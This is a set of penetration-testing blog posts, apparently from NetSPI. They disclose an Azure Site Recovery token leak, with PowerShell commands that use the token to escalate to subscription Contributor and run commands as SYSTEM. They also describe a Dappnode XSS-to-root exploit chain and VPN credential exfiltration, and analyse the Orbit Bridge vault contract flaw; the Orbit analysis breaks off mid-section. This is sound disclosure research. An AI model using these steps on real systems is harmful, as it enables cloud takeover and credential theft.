Back

Elevating Privileges with Azure Site Recovery Services

Cleartext credentials are commonly targeted in a penetration test and used to move laterally to other systems, obtain sensitive information, or even further elevate privileges. While this is a low effort finding to exploit, threat actors will utilize cleartext credentials to conduct attacks that could have a high impact for the target environment.

NetSPI discovered a cleartext Azure Access Token for a privileged Managed Identity. This prompted further investigation in which we were able to determine that the vulnerability was caused by the Microsoft-managed Azure Site Recovery service. In this blog, we’ll share the technical details around how we found and reported this vulnerability to Microsoft. Additionally, we’ll cover how the finding was remediated.

TL;DR

  1. The Azure Site Recovery (ASR) service utilizes an Automation Account with a System-Assigned Managed Identity to manage Site Recovery extensions on the enrolled Virtual Machines
  2. The ASR created Automation Account executes a Runbook that is hidden from the user, but the corresponding Job output for the Runbook remains visible
  3. A cleartext Management-scoped Access Token for the System-Assigned Managed Identity, which has the Contributor role over the entire subscription, was disclosed in the Job output and could be used to authenticate as the Managed Identity
  4. A lower-privileged user role could read this Access Token and authenticate as the Managed Identity, elevating their privileges to a Contributor over the entire subscription
  5. Microsoft has remediated this vulnerability for new and existing Azure Site Recovery deployments as of 02/13/2024

Background

The Azure Site Recovery (ASR) service is used to replicate enrolled Azure resources across different regions as a way to deploy replication or failover processes to maintain accessibility during an unplanned outage.

Requirements

The Azure Site Recovery service is not enabled by default. The Azure subscription was vulnerable to this privilege escalation path when:

  1. A Recovery Service Vault was created
  2. Site Recovery was enabled with enrolled Virtual Machines from a different region
  3. Extension Update Settings are turned on

It should be noted that the Azure Site Recovery service needs to be initially configured and the Extension Update Settings enabled by an Owner of the subscription. This is due to the fact that the service attaches the Contributor role to the Managed Identity that is created for the attached Automation Account.

Discovering the Vulnerability

The Extension Update Setting (when enabled) creates a new Automation Account in the Subscription, in this case “blogASR-c99-asr-automationaccount”, which is used to manage the Site Recovery extensions on the enrolled Virtual Machines.

Azure-Site-Discovery_1

The Automation Account periodically executes a Runbook to ensure the Site Recovery extensions are updated on the enrolled Virtual Machines. This Runbook is hidden from the end user since it’s created by the managed service (ASR).

We were able to determine the name of the Runbook as it is accessible in the JSON view for the Job.

Although the Runbook is hidden from the end user, the Job output remains visible under the Automation Account’s “Jobs” tab.

The Jobs will appear as MS-SR-Update-MobilityServiceForA2AVirtualMachines or MS-ASR-Modify-AutoUpdateForA2AVirtualMachines. Both Jobs contained output with a cleartext Access Token being truncated.

The Job output also shows that the authentication type is for the System Assigned Managed Identity. We discovered that this System-Assigned Managed Identity also gets created with the Automation Account.

Searching the Object ID in Entra reveals the “blogASR-c99-asr-automationaccount” Enterprise Application.

The assigned role can be viewed in the subscription’s Access Controls (IAM). Notice that the Contributor role is granted to the application over the entire subscription.

Elevating Privileges to the System Assigned Managed Identity

The */read or Microsoft.Automation/automationAccounts/jobs/output/read permissions are required to be able to read the Job output. Depending on the scope, this means lower-privileged user roles such as Reader or Log Analytics Reader (and even more obscure roles like Managed Applications Reader) can view the Access Token to elevate privileges!

A clear escalation path has now been identified with any lower-privileged user role able to view the Job output and see the cleartext Access Token, but how can we retrieve the full Access Token that is being truncated in the Portal view? To demonstrate the escalation path, we used a lower-privileged user (blogReader) with the Reader role.

We can use the Az PowerShell module with the low-privileged user (blogReader) to retrieve the Job output and view the full access token. We simply need to supply the name of the Automation Account, the Job ID, and the Resource Group for the Automation Account. Notice that the Epoch timestamp shows the token will be valid for 24 hours after its creation.

PS > Get-AzContext | FL
Name               : [REDACTED] - blogReader
Account            : blogReader
Environment        : AzureCloud
Subscription       : [REDACTED]
Tenant             : [REDACTED]
PS > Get-AzAutomationJobOutput -AutomationAccountName " blogASR-c99-asr-automationaccount" -Id 39814559-5661-4de3-857b-bb2504c4fcd6 -ResourceGroupName "blogRG2" -Stream "Any" | Get-AzAutomationJobOutputRecord
[TRUNCATED]
Value: {[expires_on, 1704853521], [resource, https://management.core.windows.net/], [token_type, Bearer], [access_token, eyJ0eXAi[REDACTED]]}
[TRUNCATED]

With the Access Token and Enterprise Application ID, the low-privileged user (blogReader) can authenticate as the System-Assigned Managed Identity which has the Contributor role on the entire subscription:

PS > $accesstoken = "eyJ0eXAi[REDACTED]"
PS > Connect-AzAccount -AccessToken $accesstoken -AccountId ee7f506d-65d4-492f-acb1-0ddb8e0d29cd
Account Environment   SubscriptionName    TenantId
-------------------   ----------------    -----------
[REDACTED]            [REDACTED]          [REDACTED]

We used the Az PowerShell module to verify the credentials are valid and have the context of a Contributor:

PS > $token = ((Get-AzAccessToken).Token).Split(".")[1].Replace('-', '+').Replace('_', '/')
PS > while ($token.Length % 4) {$token += "="}
PS > # Base64 Decode, convert from json, extract OID, pass into filter for Get-AzRoleAssignment to find current roles
PS > Get-AzRoleAssignment | where ObjectId -EQ ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($token)) | ConvertFrom-Json).oid
RoleAssignmentName : 721d0fc1-9571-587a-ac51-f71f70b79310
RoleAssignmentId   : /subscriptions/[REDACTED]/providers/Microsoft.Authorization/roleAssignments/721d0fc1-9571-587a-ac51-f71f70b79310
Scope              : /subscriptions/[REDACTED]
DisplayName        :
SignInName         :
RoleDefinitionName : Contributor
RoleDefinitionId   : b24988ac-6180-42a0-ab88-20f7382dd24c
ObjectId           : cd459283-0d93-47fd-a614-c9280b2634ef
[TRUNACTED]

Potential Impact

Elevating privileges to the Contributor role over the subscription has a high impact for Azure users. Depending on the environment, this vulnerability allows for further elevation within a subscription.

For instance, the Contributor role provides administrative access over Virtual Machines which would allow an attacker to execute “Run Commands” as “NT Authority\SYSTEM”. In cases where Domain Controllers are present in the subscription, this elevation path allows an attacker to compromise the joined Active Directory environment as a Domain Administrator.

PS > Invoke-AzVMRunCommand -ResourceGroupName 'blogRG1' -VMName 'blogDC' -CommandId 'RunPowerShellScript' -ScriptPath 'whoami.ps1'
Value[0]        :
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       : nt authority\system
[TRUNCATED]

Another example, previously outlined by Karl Fosaaen in the NetSPI blog, is abusing access to Cloud Shell images in Storage Accounts. Contributors have read/write access to Cloud Shell images in which they can inject the image with malicious commands and upload the modified image which will execute those commands in the context of that user.

While these circumstances may not be present in every environment, it’s important to understand the impact that this vulnerability can have when it’s abused by an attacker.

Remediation

Microsoft remediated this vulnerability by removing the Access Token from the Automation Account’s Job output.

MSRC Disclosure Timeline

  • 01/09/2024 – The initial report was submitted to MSRC
  • 01/09/2024 – MSRC assigns a case number 84800
  • 01/18/2024 – MRCS confirms the vulnerability
  • 02/13/2024 – MSRC pushes a fix for the vulnerability
  • 02/22/2024 – NetSPI verifies the vulnerability has been remediated for new and existing Azure Site Recovery deployments

Special thanks goes out to NetSPI’s Karl Fosaaen and Thomas Elling for contributing to the research for this vulnerability.

For more information on Cloud Pentesting, check out these resources below:

Back

Expert Insights: Top 9 Breach And Attack Simulation Solutions

NetSPI BAS was recognized in Expert Insights’ list of top 10 breach and attack simulation solutions. Read the preview below or view it online.

+++

Breach and Attack Simulations (BAS) solutions assess the effectiveness of an organization’s security posture, by mimicking real-world cyber-attack techniques. This highlights vulnerabilities that can be found within an organization, enabling them to be addressed and mitigated before a real attack can take place. The best Breach and Attack Simulation solutions can simulate cutting edge cyber-attack methodologies to provide a comprehensive report into the resilience of your cybersecurity strategy.

Breach and Attack simulations solutions typically operate in three stages. First, simulation and testing, which can involve red teaming, penetration testing and vulnerability scanning, often leveraging the MITRE ATT&CK framework -a global database of cyber-criminal tactics and techniques. Second, reporting and evolution, which involves detailed insights and actionable recommendations for improving network security strategies. Finally, implementation and ongoing evolution, where recommendations are implementing, and continuous evaluations take place to mitigate any other vulnerabilities which may arise.

There are many benefits to implementing a robust Breach and Attack Simulation solution. The recommendations they can provide to improve your security strategy can massively reduce your risk of data compromise, which can be extremely expensive and hugely damaging to brand reputation. BAS tools can also be important to qualify for cyber-insurance policies, and to meet compliance criteria.

For these reasons, there has been increased demand for BAS and the market has become competitive. To help you find the right tool, we have curated a list of the top 10 Breach and Attack Simulation solutions. This guide delves into their key features, such as threat emulation, reporting granularity, and ease of integration, all based on our comprehensive market research.

NetSPI Breach and Attack Simulation

NetSPI provide a broad spectrum of penetration testing, attack surface management, and breach and attack simulation services. Their approach blends technological advancements with the expertise of global cybersecurity professionals. The company’s main office is in Minneapolis, MN, but they have a global presence with offices in the U.S., Canada, the UK, and India.

NetSPI offers a comprehensive detective control platform that allows organizations to design and execute tailored procedures. This platform, complemented by their professional pen-testers, emulates genuine attack behaviors, thereby rigorously testing detective controls. Their services help organizations fortify their defenses against threats like ransomware, data loss, fraud, and information leaks. They meticulously validate various controls such as endpoint, network, and Active Directory controls, among others. They also pinpoint detection shortcomings, from disabled or misconfigured controls to gaps in the kill chain.

Results come with comprehensive descriptions, actionable recommendations, and resource links, allowing easy comprehension and replication. Their real-time dashboards help businesses gauge their security stance, benchmark against peers, and discern their security ROI. NetSPI’s platform, combined with their expert teams and tested methodologies, equips organizations to enhance their resilience against potential threats, fostering informed decision-making and bolstering defense mechanisms.

You can read the full article at https://expertinsights.com/insights/top-10-breach-and-attack-simulation-solutions/!

Back

Mainframe Mania: Highlights from SHARE Orlando 2024 

SHARE Orlando 2024

Mainframe is happening now!

While most people may imagine mainframe computers to be an antiquated world of massive machinery, tape spools, and limited possibilities, they actually receive widespread use today in 2024 as the backbone infrastructure that allows billions of financial transactions to occur daily on a global scale.

Government entities can store and retrieve sensitive data with extremely high reliability and almost nonexistent downtime, and other sectors like healthcare, insurance, and utilities can meet the speed of demand by processing multiple terabytes of data with incredible ease, and consistency.

Mainframe computers have a wonderfully rich history that spans decades, and as such there have been many groups over the years that bring practitioners, vendors, and resource owners together for collaboration. SHARE, with an inauguration year of 1955, is the oldest and most well-known of these organizations — if you work in mainframe, you know about SHARE! It began as the first IT Enterprise group ever to form within the United States and has been operating continuously since, through industry publications, annual conferences, trainings, and ongoing opportunities to connect.

I had the pleasure of attending this year’s SHARE Orlando 2024 where I learned about the state of mainframe security today and the in-demand skills needed to protect these critical systems. Here’s what I thought of my time at the event.

Mainframe Penetration Testing is a Scarce Skillset 

SHARE Orlando 2024 was the first time I had the opportunity to experience a mainframe event, and it was an excellent introduction to the mainframe community at large with representation from organizations worldwide occupying the mainframe space. NetSPI was the only US-based proactive security consulting firm present, and I found myself engaged in multiple conversations on mainframe security as it relates to new integrations with data lakes, analytics platform, blockchain, and AI.

Also under frequent discussion were developments in hosted cloud computing, quantum cryptography, web applications on mainframe, and mainframe ethical hacking in general. I realized during my time at SHARE that there are currently very few dedicated ethical hackers working in mainframe; the arena is in great need of this skillset, and I was deeply encouraged to continue building my individual mainframe knowledge while contributing to the development of our expanding Mainframe Penetration Testing service line here at NetSPI.

Mainframe Penetration Testing 

IBM z/OS is by far the most common operating system you will find in use on mainframe today, and I was intrigued by a product IBM recently released called WatsonX AI. It makes use of foundational models and generative AI to assist with code translation from COBOL to Java for increased interoperability, and also makes it possible for businesses to train and deploy custom AI capabilities across the enterprise environment while maintaining full control of the data they own.

I also learned so much at both talks given by Philip Young, NetSPI’s Mainframe Director. At his first talk, entitled “Hacking CICS Applications: New Attacks on Old Screens”, the collaborative nature of SHARE was seen in full force as he was met with a great deal of feedback from the audience throughout the duration of the presentation. The talk covered an introduction to hack3270, a tool used to assist in CICS application pentesting, and certainly made an impression on the crowd… especially vendors and developers who had some new things to consider regarding the security of their CICS environments.

Philip’s second talk, “No Longer a Myth: A Guide to Mainframe Buffer Overflows”, was also well-received by the audience. A specific attack that for years many believed to be impossible was brought to light with a clear demo on how exactly this vulnerability can take place and some tips on ways to safeguard against buffer overflows on mainframe.

Finally, a talk given by Mark Wilson on the threat of ransomware within the mainframe environment. It was eye-opening for me as I personally was not aware of the native capability mainframe has for encrypting massive amounts of stored data within mere seconds. The fact that terabytes of mission-critical data could be encrypted in less than 12 minutes was a strong call to action for mainframe practitioners and owners alike to be aggressive with MFA requirements and tracking user behavior analytics.

Mainframe Security Is Mission-Critical 

I have a soft spot for mission-critical operations, legacy systems, and critical infrastructure. More specifically, I have a deep and abiding passion for the security of systems like mainframe that are heavily relied upon that do not frequently gain mainstream attention in the cybersecurity space. If we are relying on these computers, we must continuously work to protect them! Though they have been around for many years, new integrations and developments mean we will be faced with new potential vulnerabilities. All an attacker needs is one weakness to prevail, and these are the situations I am here to identify and report for eradication.

Check Out These Free Resources to Expand Your Mainframe Security Education 

There are some great talks available online, Philip has a fantastic list up (here and here are a few) covering many topics from the hacker perspective. IBM also hosts a free training program called IBM Z Xplore with hands-on interactive modules for learning to navigate and maximize z/OS use, as well as a networking platform called New to Z for burgeoning talent within any organization utilizing mainframe technology.

Overall, the experience at SHARE is a must-attend for those involved with or even just deeply fascinated by the world of mainframe. There is no other gathering of people with such passion and drive dedicated to this field. I was very pleased with the new information I was able to acquire and am so thankful for the connections I made among professionals and peers within the mainframe community.

See NetSPI’s technical research on Mainframe Penetration Testing by reading Philip’s article on Enumerating Users on z/OS with LISTUSER.

Enumerating Users on z/OS with LISTUSER
Back

Web2 Bugs in Web3 Systems

The interaction between “web2” client-server architectures (not blockchain) and “web3” systems (blockchain) presents a unique set of security challenges. While web3 promises enhanced security and decentralization, at present, underlying infrastructure supporting web3 systems often leverage classic centralized components such as standard server, cloud, container setups, and web-based APIs. In particular, cross-chain bridges often rely on off-chain components for critical operations such as transaction signing and event relaying, and as such these components present a unique attack surface which is often overlooked. 

TL;DR

In this post, we will summarize some ongoing research we have been conducting on the use of web2 components in web3 systems, that led to the identification and prompt mitigation of several web-based attack paths in popular node management framework Dappnode. Read on to learn: 

  • Various 0-day in a popular node management framework, Dappnode 
  • How Dappnode can be exploited to gain remote administrative access to Dappnode-based systems.  
  • Analysis on a possible root cause & attack path behind a recent high-profile DeFi security incident affecting the Orbit Chain bridge, which appears to involve the bridge’s supporting infrastructure. 

We will also elaborate on a possible root cause for the January 2024 Orbit Bridge security incident, thought to have been perpetrated by Lazarus Group (APT38) at the time of writing, stemming in part from the interaction between the Orbit validator web API and Orbit bridge router smart contracts. Finally, we highlight the commonalities between our findings and the wider challenges affecting web3 systems and its users.

Proactive Security: Dappnode findings  

Dappnode is a popular open-source plug-and-play node solution for the Ethereum ecosystem, allowing users to quickly and easily set up, run or share preconfigured nodes for a variety of L1 and L2 systems. Below are high level technical details for Dappnode: 

  • Dappnode offers containerized versions of popular node software, referred to as Dappnode packages 
  • Core Dappnode system components are also containerized in a modular way 
  • Dappnode uses the InterPlanetary File System (IPFS) to immutably store Dappnode packages, referenced via IPFS Content Identifier (CID) hashes 
  • Dappnode also uses the Ethereum Naming Service (ENS) for package versioning and naming 
  • Dappnode provides optimized hardware preconfigured with Dappnode for enhanced support 
  • A stock Dappnode deployment supports three methods to connect/manage the Dappnode: 
  • Local network acces 
  • WiFi: A stock Dappnode deployment can function as a WiFi access point which effectively segments Dappnode services from a wider local network 
  • VPN: Dappnode supports the Wireguard and OpenVPN standards to allow node operators to remotely access their Dappnode deployment 
     

During an engagement against one of our client’s web3 systems, we identified several issues in the system’s third-party Dappnode dependencies, which are summarized in this post. As NetSPI takes responsible disclosure seriously, prior to the release of this post the vulnerabilities discussed here were shared with the DappNode team. As of DappManager version 0.2.82, the resultant attack paths have been remediated, alongside additional defense in depth improvements being made available over subsequent releases.  

These individual issues included: 

  • Post-authentication remote command execution. 
  • Pre-authentication cross-site scripting (XSS). 
  • Pre-authentication local file disclosure. 
  • Various infrastructure/host-related gaps such as Docker container breakout/local privilege escalation opportunities. 
  • Lower-risk issues such as permissive cross-origin resource sharing (CORS) policies. 

Per the scope of the particular engagement, one of the goals was to demonstrate the practical risk of identified issues from the perspective of a remote, unauthenticated threat actor. By combining these issues, it was possible to build two proof-of-concept single-click exploits, described below. 

1-Click Remote Node Takeover 

TL;DR 

Through a combination of issues, malicious Dappnode content URLs can be created, which provide remote, unauthenticated attackers with persistent back-door administrative access to targeted Dappnode systems when visited by an authenticated Dappnode operator, giving the attacker full control of the underlying host system. 

Pre-authentication Reflected Cross-Site Scripting (XSS) via my.dappnode IPFS Proxy

Prior to the security patches, the Dappmanager package provided a proxy for the IPFS gateway, provided by the local IPFS node, allowing IPFS content to be served from the Dappnode management UI via Content Identifier (CID) hashes. IPFS content can be referenced and dynamically served. 

The Dappnode IPFS gateway proxy did not sufficiently validate content retrieved via IPFS, allowing for malicious static web pages to be served from the my.dappnode domain. By uploading an XSS payload to IPFS and referencing it via the my.dappnode/ipfs IPFS proxy URL, reflected XSS was possible.  

In principle, this was akin to an XSS vulnerability arising from the insecure handling of contents from file uploads or cloud storage. As IPFS was also used for image and icon retrieval, this issue could be exploited against unauthenticated users with network access to the Dappnode.  

This issue functioned as an “entry point” into a Dappnode operator’s internal network. As the final URL was indistinguishable from a regular Dappnode IPFS link. 

Post-authentication Remote Command Execution (RCE) in privileged Dappmanager container

The Dappmanager package serves as the core component of the Dappnode framework and is responsible for container management and updates. It is managed by the Dappmanager UI, which is intended only to be accessible locally by node operators. 

An instance of authenticated remote command injection was found in a management-related API call, which provided command execution in the context of the Dappmanager container.  

As the Dappmanager container requires access to the host system’s Docker socket for container management, it was possible to break out of the container and gain an administrative shell on the host by creating a new container with access to the host’s filesystem and network stack. 

Using the XSS issue affecting the IPFS component, an XSS payload could have been created which forced a victim’s browser to abuse the command injection vulnerability against their own Dappnode. The end result was the means to remotely compromise a user’s Dappnode after visiting a single link. 

This is shown in the screenshot below, where a reverse TCP shell was executed with root privileges on the host Dappnode system upon the victim visiting the malicious URL: 

1-Click Remote VPN Config Exfiltration 

Local File Disclosure and Cross-Origin Resource Sharing (CORS) policies in WireGuard API

WireGuard is a connectionless VPN protocol allowing for easy and secure access between clients and server. A WireGuard server will only accept clients with verified public keys. 

The Dappnode’s WireGuard package offers a simple API for retrieving WireGuard client configuration files. A local file disclosure issue was identified in this API. While only files with a specific extension could be disclosed via this issue, it still allowed attackers with access to the Dappnode’s network to exfiltrate WireGuard client and server profiles. 

Cross-Origin Resource Sharing (CORS) policies

CORS misconfigurations are particularly useful for attackers looking to weaponize XSS issues because a permissive CORS policy effectively nullifies the Same Origin Policy, allowing requesting origins a degree of access over the contents returned from requests that they otherwise would not have.  

The WireGuard API was configured with an edge-case CORS misconfiguration that we usually encounter while performing network and application penetration tests, which allowed any requesting origin to view its responses. 

Proof-of-concept exploit code was developed to combine these issues along with the IPFS reflected XSS vulnerability. Similarly, malicious URLs may be created which when visited from a victim’s internal Dappnode network, results in their Dappnode client and server WireGuard VPN credentials being exfiltrated to an attacker’s web server, allowing for persistent, anonymous access to the operator’s local Dappnode network, in addition to other VPN-specific attacks. 

This is shown in a screenshot below, where the node’s VPN profiles were exfiltrated to an external Burp Suite Collaborator domain.

During their own security audits, our web3 partner Blaize has identified similar issues in the traditional application components used by some decentralized systems, such insufficient signature validation and insecure secret storage. A holistic security auditing approach is therefore recommended, encompassing the adversarial-based testing of both decentralized and traditional application components, in addition to security design and architecture reviews. 

The concept of bridge security emerges as a critical focal point in the broader discussion of web3 vulnerabilities. Bridges, which facilitate the transfer of assets between different blockchains, represent a vital infrastructure component within the web3 ecosystem. However, they also introduce unique security challenges, as they must securely manage and verify transactions across disparate networks with varying security protocols and assumptions. 

Bridge Security Concepts 

Ensuring effective security auditing of both on and off-chain aspects of a project or solution is key to preventing breaches. This section will dive into a breakdown of a potential attack vector for the recent Orbit Bridge breach. 

Most blockchain frameworks – including base Layer 1 chains such as Ethereum mainnet or Layer 2 scaling solutions such as Arbitrum – are islands unto themselves, with no means to communicate between each other.  

To allow blockchain interoperability, cryptocurrency bridges were designed, that act as relay stations which allow information and assets to be exchanged between otherwise incompatible chains. They are essentially accounting books where funds and information is sent through one blockchain are calculated and distributed accordingly on another blockchain.  

Bridges are notoriously difficult to secure in part because they are affected by what is referred to as the “Interoperability Trilemma”. It broadly states that bridges may only effectively cater to any two of the three following properties: 

  • Trustlessness – Like the underlying protocols bridges operate on, this refers to the ability of a bridge to operate without requiring users to place trust in any specific party or intermediary. In a trustless system, security and operations are decentralized and based on cryptographic proofs and consensus mechanisms, removing the need for a central authority.  
  • Extensibility – An extensible bridge can seamlessly integrate different blockchains, regardless of their underlying architecture or consensus mechanisms. 
  • Generalizability – A generalizable bridge can interpret different smart contract languages and execution environments, enabling more sophisticated interoperability, like triggering events or functions on one blockchain based on transactions or smart contract states from another. Achieving high levels of generalizability, particularly while limiting opportunities for security issues, is challenging due to the diverse nature of blockchain protocols and smart contract languages. 

The Interoperability Trilemma has its roots in the more general Blockchain Trilemma, first outlined by Vitalik Buterin to describe the compromises often made between security, decentralization, and scalability when designing new blockchain protocols. 

Although all three facets of the Interoperability Trilemma have inherent security implications, a given bridge’s degree of trustlessness can result in it being classified as either a trusted bridge – a bridge that heavily or totally relies on a central authority, or a trustless bridge, the operations of which are primarily maintained by means of smart contracts and on-chain, decentralized logic. 

Even in the case of trustless bridges, the scalability challenges inherent to on-chain computation has resulted in bridge designs which outsource resource intensive, sensitive, or otherwise difficult to implement features of a given bridge to occur off-chain. As is the case for many decentralized applications , trustless bridges can be prone to some degree of centralization. 

However, Blaize also notes that bridge engineers are actively tackling the issue of centralization in various ways. One such way, as implemented in the Rainbow Bridge, involves implementing decentralized bridge relayers, wherein key management issues are delegated to each relayer individually. This aims to reduce the reliance on single relayers, as the compromise of one relayer is less likely to lead to the compromise of the overall bridge. 

Orbit Bridge – Pivoting from off-chain to on-chain

The Orbit Bridge is a cross-chain protocol built on the Orbit Chain. It was designed to allow for cross-chain asset transfers between layer 1 and layer 2 chains, including Ethereum, Ripple, and Arbitrum. On terminal ends of the bridge on each chain are “Vault” contracts, which held a bridge user’s funds. For a user to withdraw funds on behalf of the bridge, the withdrawal transaction is required to be signed by signed by a minimum number of off-chain bridge validators. 

As mentioned earlier, in the early hours of January 1 2024, a high-profile exploit occurred against the Orbit Bridge, resulting in approximately $81.5 million worth of various tokens being stolen. The bridge was subsequently disabled by Ozys, the company behind the bridge’s development. The bridge remains offline as of writing. 

The specific root cause of the incident has yet to be publicly released as of writing, with a January 2024 official statement from Orbit Chain reiterating that the attack path is not yet fully clear.  

We conducted research into the incident, and a possible attack path was identified. In keeping with the theme of this post, this potential attack path involves the abuse of certain web-based bridge validator APIs, in conjunction with a design flaw in the on-chain transaction validation process. This possible attack path is discussed below.  

Note that this is only a possible attack path, and it has in no way been validated for accuracy by Orbit Chain, Ozys, or any affiliated party. These are only inferences made against open-source codebases and publicly available documentation, and further investigatory efforts are likely required before a definitive root cause can be attributed. 

Additionally, as the Orbit Bridge RPC endpoints were taken offline following the incident and are not available as of writing, it is not possible to definitively confirm this attack path as of writing. As such, some level of educated conjecture may be evident during the research.

On-chain component analysis 

The issues in the affected smart contracts became clear shortly after the incident, evident from the EthVault contract’s withdraw and _validate functions as seen in their implementation below. Vaults on other supported chains contained similar logic: 

    ///@param bytes32s [0]:govId, [1]:txHash 
    ///@param uints [0]:amount, [1]:decimals 
    function withdraw( 
        address hubContract, 
        string memory fromChain, 
        bytes memory fromAddr, 
        bytes memory toAddr, 
        bytes memory token, 
        bytes32[] memory bytes32s, 
        uint[] memory uints, 
        uint8[] memory v, 
        bytes32[] memory r, 
        bytes32[] memory s 
    ) public onlyActivated { 
        require(bytes32s.length >= 1); 
        require(bytes32s[0] == sha256(abi.encodePacked(hubContract, chain, address(this)))); 
        require(uints.length >= 2); 
        require(isValidChain[getChainId(fromChain)]); 
        bytes32 whash = sha256(abi.encodePacked(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints)); 

        require(!isUsedWithdrawal[whash]); 
        isUsedWithdrawal[whash] = true; 

        uint validatorCount = _validate(whash, v, r, s); 
        require(validatorCount >= required); 
 
        address payable _toAddr = bytesToAddress(toAddr); 
        address tokenAddress = bytesToAddress(token); 
        if(tokenAddress == address(0)){ 
            if(!_toAddr.send(uints[0])) revert(); 
        }else{ 
            if(tokenAddress == tetherAddress){ 
                TIERC20(tokenAddress).transfer(_toAddr, uints[0]); 
            } 
            else{ 
                if(!IERC20(tokenAddress).transfer(_toAddr, uints[0])) revert(); 
            } 
        } 
        emit Withdraw(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints); 
    } 
… 
    function _validate(bytes32 whash, uint8[] memory v, bytes32[] memory r, bytes32[] memory s) private view returns(uint){ 
        uint validatorCount = 0; 
        address[] memory vaList = new address[](owners.length); 

        uint i=0; 
        uint j=0; 

        for(i; i<v.length; i++){ 
            address va = ecrecover(whash,v[i],r[i],s[i]); 
            if(isOwner[va]){ 
                for(j=0; j<validatorCount; j++){ 
                    require(vaList[j] != va); 
                } 

                vaList[validatorCount] = va; 
                validatorCount += 1; 
            } 
        } 

        return validatorCount; 
    } 

A call to the withdraw function requires details for the transaction (source chain, sender/recipient/token addresses, amount, etc.), and signature verification variables (V, R, S) derived from a validator’s signature. For a more detailed understanding of these values, refer to the Ethereum Yellow Paper, however for this article, we can treat these values as the actual signature. 

The main issue with the Vault contracts was that the withdraw functions solely relied on provided withdrawal transaction hashes being signed by a certain number of validators, and not the actual transaction details themselves. 

As long as the Vault contracts registered that at least the required number of validators had signed a transaction hash (7 at the time of the incident), the withdrawal from any account providing the V/R/S signature values and transaction hash would be processed, provided that the specific transaction hash has not been used before. The attacker abused this to execute several withdrawal requests, mainly against the Vault on Ethereum mainnet, for repeated amounts of ETH, wBTC, USDT, USDC, and DAI.   

While the contracts certainly should have validated that transaction arguments correspond to provided signature structures, this incident would not have been possible without the attacker gaining access to valid transaction signatures from validators, prior to the signatures being included in the Vault’s isUsedWithdrawal mapping. 

A known issue highlighted in an April 2022 security audit of the Vault contracts by security firm Theori highlighted a potential signature replay issue affecting the same function, however no means to “fake” a signature were identified in the contracts or the attacking address’s on-chain activity in the time leading up to the incident. Furthermore, signatures provided by the attacker can be confirmed to originate of Orbit Bridge validators via the following Forge proof-of-concept test suite

For these reasons, it was initially speculated that the private keys for 7 required validators were somehow compromised, and that the attackers used them to sign their own transaction hashes. However, the official statement from Ozys implied that following investigations, it was assumed that neither a specific smart contract vulnerability, nor an outright private key compromise were to blame for the incident. 

Note however that some of the attacker’s transactions, such as the theft of 30 million USDT, also contained signature values for addresses which are not included in the EthVault’s isOwner mapping, in addition to the required number of validator signatures. This is seen in the proof-of-concept output below. 

Possible reasons for the inclusion of these additional signatures from non-validator addresses in the exploit transaction include re-use of the attacker’s tools used to generate the signature, which may have referenced additional addresses meant for use against vault contracts on chains aside from Ethereum mainnet. 

Off-chain component analysis 

If private keys were not compromised, it would follow that there may have been exploitable flaws in the signature generation process, which ultimately allowed an attacker to sign arbitrary transaction data on behalf of validators. 

The Orbit Bridge documentation offers some clues as to where such a flaw may originate. The documentation describes the off-chain validators, and instructions to deploy a validator in AWS. The process for being formally vetted as a bridge validator is also referenced.  

Web API endpoints for confirming and validating transaction hashes are referenced in the documentation. However, the documentation generally lacks specific details about the validation process: 

The Orbit Chain GitHub organization includes the bridge-dockerize repository, a containerized version of the validator codebase for deployment in AWS. The bridge-contract repository also contains versions of the Vault contracts for supported chain, including the Vault for the Orbit Chain itself. 

The validator codebase references these API routes: 

bridge-dockerize/routes/v1/gov.js: 

… 
router.get("/getTransaction/:chain/:migAddr/:transactionId", async function (req, res, next) { 
    … 
    return res.json(await govInstance.getTransaction(chain, mig, tid)); 
}) 

router.get("/confirm/:chain/:migAddr/:transactionId/:gasPrice/:chainId", async function (req, res, next) { 
    … 
    return res.json(await govInstance.confirmTransaction(chain, mig, tid, gasPrice, chainId)); 
}) 

…   

router.get("/validate/:migAddr/:sigHash", async function (req, res, next) { 
    const mig = req.body && req.body.migAddr || req.params && req.params.migAddr; 
    const sigHash = req.body && req.body.sigHash || req.params && req.params.sigHash; 
    return res.json(await govInstance.validateSigHash(mig, sigHash)); 
}); 
… 

Notably, the validator itself does not implement any kind of access control for the APIs. Deploying the validator container exposes the API on port 17090 of the host system via Docker’s default bridge network driver. It is assumed however that the validator API is not intended to be exposed publicly, and that the docker image is intended to be restricted to an internal network. 

The validator’s validateSigHash function, called by visiting the /validator/ route, is shown below. The function takes two arguments, an address of the Vault contract multisig, and transaction hash sigHash: 

bridge-dockerize/src/evm/index.js: 

… 
    async validateSigHash(multisig, sigHash) { 
        if(this.chainName !== "ORBIT") return "Invalid Chain"; 
        if(multisig.length !== 42 || sigHash.length !== 66) return "Invalid Input"; 

        const orbitHub = instances.hub.getOrbitHub(); 
        const validator = {address: this.account.address, pk: this.account.pk}; 

        let mig = new orbitHub.web3.eth.Contract(this.multisigABI, multisig); 

… 

However, arguments are directly taken from the /validator URL, and are only verified for length. The expected sigHash length of 66 matches the length of the SHA256 transaction hashes (“0x” + 64 bytes) generated in the Vault contracts.  

The multiSig contract address is then used to reference a contract object mig, using an ABI which closely matches the previously shown Vault contracts. Therefore, the ABI is essentially used as an interface for the address, which may be any contract on the Orbit Chain network which sufficiently implements the defined functions. 

bridge-dockerize/src/evm/index.js: 

…   
let confirmedList = await mig.methods.getHashValidators(sigHash).call().catch(e => {return;}); 
        if(!confirmedList) return "GetHashValidators Error"; 

        let myConfirmation = !!(confirmedList.find(va => va.toLowerCase() === validator.address.toLowerCase())); 

        let required = await mig.methods.required().call().catch(e => {return;}); 
        if(!required) return "GetRequired Error"; 

        if(myConfirmation || parseInt(required) === parseInt(confirmedList.length)) 
            return "Already Confirmed" 
…

Various Vault contract functions are then called using the mig contract reference. Notice however that the actual values returned by the contract are also not subject to stringent verification. This is possibly because the developers assumed that invalid contract calls would revert on-chain, and would be caught by default web3.js library error handling. 

In any case, because any Orbit Chain contract address can be specified, it would be possible to return any value necessary to satisfy these checks, such as the myConfirmation check on line 841, which only checks that a validator address is included in the return values from the Vault/Multisig contract’s getHashValidators function. 

The validator’s private key is then used to sign the sigHash argument, before the resulting signature’s V,R, and S values are formatted in an array named params

